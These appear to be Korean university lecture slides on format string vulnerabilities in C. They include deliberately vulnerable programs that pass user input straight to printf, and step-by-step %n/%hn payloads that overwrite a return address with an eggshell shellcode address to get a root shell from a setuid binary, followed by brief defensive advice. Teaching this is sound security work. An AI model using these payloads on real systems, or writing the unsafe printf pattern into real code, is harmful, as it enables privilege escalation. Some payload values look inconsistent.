- 1 - 정보 보안 개론과 실습 시스템 해킹과 보안 팀원 : 박진영 한동섭 · 권혁진
chapter 09. 포맷 스트링
- 3 - 학습목표 포맷 스트링의 취약점 이해 포맷 스트링 문자 이용 포맷 스트링 공격 수행 – 공격 과정 시나리오 (Esto 를 통한 비교 ) – 공격을 통한 Root 권한 획득 포맷 스트링 공격 방어
- 4 - Format String 에 대한 이해 Format String 이란 ? -C 언어에서 일반적으로 Data( 변수 ) 를 입. 출력문에서 일정한 형태로 받아들이거나 출력하기 위하여 사용하는 기호. 포맷 스트링의 종류 파라미터 (Parameter) 변수 형식 %d 정수형 10 진수 상수 (integer) %f 실수형 상수 (float) %lf 실수형 상수 (double) %c 문자 값 (char) %s 문자 스트링 ((const)(unsigned) char *) %u 양의 정수 (10 진수 ) %o 양의 정수 (8 진수 ) %x 양의 정수 (16 진수 ) %s 문자열 %n * int ( 쓰인 총 바이트 수 ) %hn %n 의 반인 2 바이트 단위
- 5 - Format 함수란 ? – 많은 포맷 함수들이 ANSI C 로 정의되어 있다. 더 복잡한 함수들이 기 반을 두고 있는 몇 가지 기본적인 포맷 스트링 함수들이 있다. 실제 계열 요소 : – fprintf : FILE 스트림에 프린터 – fpirntf : ‘stdout’ 스트림에 프린터 – sprintf : 어떤 스트링 안에 프린터 – snprintf : 길이 확인과 더불어 스트링 안에 프린터 – vfprintf : va_arg 구조로부터 FILE 스트림에 프린터 – vprintf : va_arg 구조로부터 ‘stdout’ 에 프린터 – vsprintf : va_arg 구조로부터 스트링에 프린터 – vsnprintf : va_arg 구조로부터 길이 확인과 함께 스트링에 프린터 Format 함수에 대한 이해
- 6 - ■ 포맷 스트링 함수 #include main(){ char *buffer = "wishfree"; printf("%s\n", buffer); } 올바른 포맷 스트링 함수 사용법 잘못된 포맷 스트링 함수 사용법 #include main(){ char *buffer = "wishfree\n"; printf(buffer); } 포맷 스트링 공격에 대한 이해
- 7 - ■ 포맷 스트링 함수의 취약점 Test1.c #include main(){ char *buffer = "wishfree\n%x\n"; printf(buffer); } 포맷 스트링 공격에 대한 이해
- 8 - ■ 포맷 스트링 함수의 취약점 Test3.c #include main(){ long i=0x , j=1; printf(" 최초 i 의 값 : %x\n",&i); printf("i 값이 저장된 주소 : %x\n",i); printf("%64d%n\n", j, &i); printf(" 변경된 i 의 값 : %x\n",i); } 포맷 스트링 공격에 대한 이해
- 9 - ■ 포맷 스트링 함수의 취약점 Test6.c #include #include "dumpcode.h" main(){ char buffer[64]; fgets(buffer, 63, stdin); printf(buffer); dumpcode ((char *)buffer, 100); } 포맷 스트링 공격에 대한 이해
■ 포맷 스트링 함수의 취약점 Test6.c 포맷 스트링 공격에 대한 이해 gcc -o test6 test6.c./test6 AAAAAAAA
■ 포맷 스트링 함수의 취약점 Test6.c 포맷 스트링 공격에 대한 이해 (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%c%n"; cat) |./test6 % 기호가 2 개인 이유는 cat 을 지나면서 1 개는 사라짐.
■ 포맷 스트링 함수의 취약점 Test6.c 포맷 스트링 공격에 대한 이해 (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%c%hn"; cat) |./test6 % 기호가 2 개인 이유는 cat 을 지나면서 1 개는 사라짐.
■ 포맷 스트링 함수의 취약점 Test6.c 포맷 스트링 공격에 대한 이해 (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%c%hn"; cat) |./test6 % 기호가 2 개인 이유는 cat 을 지나면서 1 개는 사라짐.
■ 포맷 스트링 함수의 취약점 Test6.c 포맷 스트링 공격에 대한 이해 (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%64d%hn"; cat) |./test6 % 기호가 2 개인 이유는 cat 을 지나면서 1 개는 사라짐.
포맷 스트링 공격에 대한 이해 RET (0xbffffabc) 0xbfabfabc 0xbfabfabc (16) = (10) => RET 에 대입불가 ! 0xbfab / 0xfabc => %hn 으로 2byte 씩 나눔
■ 포맷 스트링 함수의 취약점 Test6.c 포맷 스트링 공격에 대한 이해 (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf% d%n"; cat) |./test6 (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%64180d%hn"; cat) |./test6 Cpu 에서 같이 큰수는 바로 인식할 수 없다 % 기호가 2 개인 이유는 cat 을 지나면서 1 개는 사라짐.
■ 포맷 스트링 함수의 취약점 Test6.c 포맷 스트링 공격에 대한 이해 (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf \x41\x41\x41\x41\x9a\xfd\xff\xbf%64180d%hn%50423d%hn"; cat) |./test6 0xbfabfabc 0xfabc = = %64172d 0x1bfab = ( ) = %50415d % 기호가 2 개인 이유는 cat 을 지나면서 1 개는 사라짐.
■ 포맷 스트링 함수의 취약점 Test6.c 포맷 스트링 공격에 대한 이해 (printf "\x41\x41\x41\x41\x98\xfd\xff\xbf \x41\x41\x41\x41\x9a\xfd\xff\xbf%64172d%hn%50415d%hn"; cat) |./test6 % 기호가 2 개인 이유는 cat 을 지나면서 1 개는 사라짐.
■ 포맷 스트링 공격 수행 bugfile.c #include main(){ int i =0; char buf[64]; memset(buf, 0, 64); read(0, buf, 64); printf(buf); } 포맷 스트링 공격에 대한 이해
■ 포맷 스트링 공격 수행 bugfile.c 포맷 스트링 공격에 대한 이해
■ 포맷 스트링 공격 수행 GDB 를 이용한 Bugfile 메모리 구조 확인 Disass main break *0x run 포맷 스트링 공격에 대한 이해
■ 포맷 스트링 공격 수행 GDB 를 이용한 Bugfile 메모리 구조 확인 info reg $ebp x/12 $ebp 포맷 스트링 공격에 대한 이해
공격 과정 시나리오 – 일반적인 Format String Attack 의 공격법은 Buffer Overflow 와 비슷한 공격 양태를 갖음 ⓐ 취약성 프로그램의 Return address 를 유추 ⓑ Shellcode 를 Stack 에 띄움 ⓒ Return address 와 Shellcode 의 주소로 Format String 을 구성 ⓓ 취약 프로그램의 Buffer 에 그 Format String 을 넣고 공격 ⓔ 실패시 다시 프로그램의 Return address 를 유추 및 위의 과정 반복 포맷 스트링 공격에 대한 이해
공격 시나리오 1.Eggshell 을 실행하여 Stack 의 일부분에 Shellcode 를 띄움 ( 여기까지 Overflow 기법과 유사 ) 2. Return address 를 알아낸 부분에 Eggshell 실행 시 나온 주소 (Shell address) 로 Overwrite 시킴 3. Setuid 가 붙어 있는 프로그램이 Root 권한의 상태로 실행을 하고 있다가 Overwrite 된 Return address 가 Shellcode 를 실행하면서 Root 권한의 Shell 이 뜨게 됨 포맷 스트링 공격에 대한 이해
■ 포맷 스트링 공격 수행 실제 공격 chmod 4755 bugfile su wishfree./egg 포맷 스트링 공격에 대한 이해
■ 포맷 스트링 공격 수행 실제 공격 포맷 스트링 공격에 대한 이해 bugfile 의 RET 주소 (0xbffff36c ~ 0xbffff36e) 에 egg shell 에서 확보한 0xbffffd58 을 입력 0xbffffd58 을 2 byte 씩 나눔 1bfff = / fd58 = xfd58 = = %64840d 0x1bfff = ( ) = %49831d Egg shell 을 이 용한 주소값
■ 포맷 스트링 공격 수행 실제 공격 포맷 스트링 공격에 대한 이해 (printf "\x41\x41\x41\x41\x6c\xf3\xff\xbf \x41\x41\x41\x41\x6e\xf3\xff\xbf%64840d%hn%49831d%hn";cat) |./bugfile % 기호가 2 개인 이유는 cat 을 지나면서 1 개는 사라짐.
■ 포맷 스트링 공격에 대한 대응책 포맷 스트링 공격에 대한 대응책은 printf 명령문과 같이 포맷스트링을 사용하는 함수를 정상적으로 사용하면, 문제가 생기지 않는다. 주요 취약 함수 printf("%s\n", buffer); fprintf (fp, 서식문자열, 인자 1,..., 인자 N) int sprintf (char *str, const char *fmt,...) snprintf (char *str, size_t count, const char *fmt,...) 유닉스 Sysem V 에서 사용하는 함수 : vfprintf, vprintf, vsprintf, vsnprintf 포맷 스트링 공격에 대한 대응책
Thank you